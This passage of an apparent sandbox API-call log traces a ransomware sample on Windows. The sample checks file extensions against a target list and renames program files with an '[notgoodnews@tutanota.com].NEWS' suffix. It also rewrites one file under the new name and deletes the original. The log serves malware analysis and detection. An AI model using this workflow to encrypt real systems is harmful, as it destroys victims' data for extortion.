(lpString=".ppt") returned 4 [0158.191] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0158.192] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0158.192] lstrlenW (lpString=".zip") returned 4 [0158.192] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0158.192] lstrlenW (lpString=".rar") returned 4 [0158.192] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0158.192] lstrlenW (lpString=".bz2") returned 4 [0158.192] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0158.192] lstrlenW (lpString=".7z") returned 3 [0158.192] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0158.192] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0158.192] lstrlenW (lpString=".dbf") returned 4 [0158.192] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0158.192] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0158.192] lstrlenW (lpString=".1cd") returned 4 [0158.192] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0158.192] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0158.192] lstrlenW (lpString=".jpg") returned 4 [0158.192] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0158.192] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0158.192] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0158.192] lstrlenW (lpString=".doc") returned 4 [0158.192] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0158.192] lstrlenW (lpString=".docx") returned 5 [0158.192] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0158.192] lstrlenW (lpString=".pdf") returned 4 [0158.192] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0158.192] lstrlenW (lpString=".xls") returned 4 [0158.192] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0158.192] lstrlenW (lpString=".xlsx") returned 5 [0158.192] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0158.192] lstrlenW (lpString=".ppt") returned 4 [0158.192] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0158.192] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0158.192] lstrlenW (lpString=".zip") returned 4 [0158.192] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0158.193] lstrlenW (lpString=".rar") returned 4 [0158.193] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0158.193] lstrlenW (lpString=".bz2") returned 4 [0158.193] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0158.193] lstrlenW (lpString=".7z") returned 3 [0158.193] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0158.193] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0158.193] lstrlenW (lpString=".dbf") returned 4 [0158.193] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0158.193] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0158.193] lstrlenW (lpString=".1cd") returned 4 [0158.193] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0158.193] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0158.193] lstrlenW (lpString=".jpg") returned 4 [0158.193] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0158.193] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0158.193] lstrlenW (lpString="segoen_slboot.ttf") returned 17 [0158.193] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0158.193] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=85862) returned 1 [0158.193] CloseHandle (hObject=0x3cc) returned 1 [0158.193] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf")) returned 0x20 [0158.194] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.194] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.194] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0158.194] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0158.194] lstrlenW (lpString=".doc") returned 4 [0158.194] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0158.194] lstrlenW (lpString=".docx") returned 5 [0158.194] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0158.194] lstrlenW (lpString=".pdf") returned 4 [0158.194] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0158.194] lstrlenW (lpString=".xls") returned 4 [0158.194] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0158.194] lstrlenW (lpString=".xlsx") returned 5 [0158.194] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0158.194] lstrlenW (lpString=".ppt") returned 4 [0158.194] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0158.194] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0158.194] lstrlenW (lpString=".zip") returned 4 [0158.194] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0158.194] lstrlenW (lpString=".rar") returned 4 [0158.194] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0158.194] lstrlenW (lpString=".bz2") returned 4 [0158.194] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0158.194] lstrlenW (lpString=".7z") returned 3 [0158.194] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0158.194] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0158.194] lstrlenW (lpString=".dbf") returned 4 [0158.194] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0158.194] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0158.194] lstrlenW (lpString=".1cd") returned 4 [0158.194] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0158.195] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0158.195] lstrlenW (lpString=".jpg") returned 4 [0158.195] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0158.195] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0158.195] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0158.195] lstrlenW (lpString=".doc") returned 4 [0158.195] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0158.195] lstrlenW (lpString=".docx") returned 5 [0158.195] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0158.195] lstrlenW (lpString=".pdf") returned 4 [0158.195] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0158.195] lstrlenW (lpString=".xls") returned 4 [0158.195] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0158.195] lstrlenW (lpString=".xlsx") returned 5 [0158.195] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0158.195] lstrlenW (lpString=".ppt") returned 4 [0158.195] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0158.195] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0158.195] lstrlenW (lpString=".zip") returned 4 [0158.195] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0158.195] lstrlenW (lpString=".rar") returned 4 [0158.195] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0158.195] lstrlenW (lpString=".bz2") returned 4 [0158.195] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0158.195] lstrlenW (lpString=".7z") returned 3 [0158.195] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0158.195] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0158.195] lstrlenW (lpString=".dbf") returned 4 [0158.195] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0158.195] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0158.195] lstrlenW (lpString=".1cd") returned 4 [0158.195] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0158.195] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0158.195] lstrlenW (lpString=".jpg") returned 4 [0158.195] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0158.196] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0158.196] lstrlenW (lpString="segoe_slboot.ttf") returned 16 [0158.196] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0158.196] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=86178) returned 1 [0158.196] CloseHandle (hObject=0x3cc) returned 1 [0158.196] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf")) returned 0x20 [0158.196] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.196] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.196] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0158.196] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0158.196] lstrlenW (lpString=".doc") returned 4 [0158.196] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0158.196] lstrlenW (lpString=".docx") returned 5 [0158.196] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0158.196] lstrlenW (lpString=".pdf") returned 4 [0158.196] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0158.197] lstrlenW (lpString=".xls") returned 4 [0158.197] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0158.197] lstrlenW (lpString=".xlsx") returned 5 [0158.197] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0158.197] lstrlenW (lpString=".ppt") returned 4 [0158.197] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0158.197] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0158.197] lstrlenW (lpString=".zip") returned 4 [0158.197] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0158.197] lstrlenW (lpString=".rar") returned 4 [0158.197] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0158.197] lstrlenW (lpString=".bz2") returned 4 [0158.197] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0158.197] lstrlenW (lpString=".7z") returned 3 [0158.197] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0158.197] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0158.197] lstrlenW (lpString=".dbf") returned 4 [0158.197] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0158.197] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0158.197] lstrlenW (lpString=".1cd") returned 4 [0158.197] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0158.197] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0158.197] lstrlenW (lpString=".jpg") returned 4 [0158.197] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0158.197] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0158.197] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0158.197] lstrlenW (lpString=".doc") returned 4 [0158.197] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0158.197] lstrlenW (lpString=".docx") returned 5 [0158.197] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0158.198] lstrlenW (lpString=".pdf") returned 4 [0158.198] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0158.198] lstrlenW (lpString=".xls") returned 4 [0158.198] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0158.198] lstrlenW (lpString=".xlsx") returned 5 [0158.198] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0158.198] lstrlenW (lpString=".ppt") returned 4 [0158.198] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0158.198] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0158.198] lstrlenW (lpString=".zip") returned 4 [0158.198] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0158.198] lstrlenW (lpString=".rar") returned 4 [0158.198] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0158.198] lstrlenW (lpString=".bz2") returned 4 [0158.198] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0158.198] lstrlenW (lpString=".7z") returned 3 [0158.198] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0158.198] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0158.198] lstrlenW (lpString=".dbf") returned 4 [0158.198] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0158.198] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0158.198] lstrlenW (lpString=".1cd") returned 4 [0158.198] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0158.198] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0158.198] lstrlenW (lpString=".jpg") returned 4 [0158.198] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0158.198] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0158.198] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0158.198] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0158.199] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=49091) returned 1 [0158.199] CloseHandle (hObject=0x3cc) returned 1 [0158.199] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0158.199] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.199] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.199] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0158.199] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0158.199] lstrlenW (lpString=".doc") returned 4 [0158.199] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0158.199] lstrlenW (lpString=".docx") returned 5 [0158.199] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0158.199] lstrlenW (lpString=".pdf") returned 4 [0158.199] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0158.199] lstrlenW (lpString=".xls") returned 4 [0158.199] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0158.199] lstrlenW (lpString=".xlsx") returned 5 [0158.199] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0158.199] lstrlenW (lpString=".ppt") returned 4 [0158.199] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0158.199] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0158.199] lstrlenW (lpString=".zip") returned 4 [0158.200] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0158.200] lstrlenW (lpString=".rar") returned 4 [0158.200] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0158.200] lstrlenW (lpString=".bz2") returned 4 [0158.200] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0158.200] lstrlenW (lpString=".7z") returned 3 [0158.200] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0158.200] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0158.200] lstrlenW (lpString=".dbf") returned 4 [0158.200] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0158.213] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0158.214] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.217] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0158.218] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0158.218] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0158.219] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0158.219] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0158.220] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0159.210] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=265792) returned 1 [0159.210] CloseHandle (hObject=0x3e0) returned 1 [0159.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 0x20 [0159.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0159.211] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.211] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=8809536) returned 1 [0159.211] CloseHandle (hObject=0x3e0) returned 1 [0159.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0x20 [0159.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0159.212] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0159.230] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.230] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.230] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0159.231] GetLastError () returned 0x0 [0159.231] ReadFile (in: hFile=0x3e0, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0xcac, lpOverlapped=0x0) returned 1 [0159.279] WriteFile (in: hFile=0x438, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xcb0, lpOverlapped=0x0) returned 1 [0159.280] ReadFile (in: hFile=0x3e0, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.280] WriteFile (in: hFile=0x438, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xe6, lpOverlapped=0x0) returned 1 [0159.280] SetEndOfFile (hFile=0x438) returned 1 [0159.280] CloseHandle (hObject=0x438) returned 1 [0159.281] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.281] SetEndOfFile (hFile=0x3e0) returned 1 [0159.433] CloseHandle (hObject=0x3e0) returned 1 [0159.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0159.434] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 1 [0159.434] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0159.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0159.435] lstrlenW (lpString=".doc") returned 4 [0159.435] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0159.435] lstrlenW (lpString=".docx") returned 5 [0159.435] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0159.435] lstrlenW (lpString=".pdf") returned 4 [0159.435] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0159.435] lstrlenW (lpString=".xls") returned 4 [0159.435] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0159.435] lstrlenW (lpString=".xlsx") returned 5 [0159.435] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0159.435] lstrlenW (lpString=".ppt") returned 4 [0159.435] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0159.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0159.435] lstrlenW (lpString=".zip") returned 4 [0159.435] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0159.435] lstrlenW (lpString=".rar") returned 4 [0159.435] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 [0159.435] lstrlenW (lpString=".bz2") returned 4 [0159.435] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0159.435] lstrlenW (lpString=".7z") returned 3 [0159.435] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0159.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0159.435] lstrlenW (lpString=".dbf") returned 4 [0159.435] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0159.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 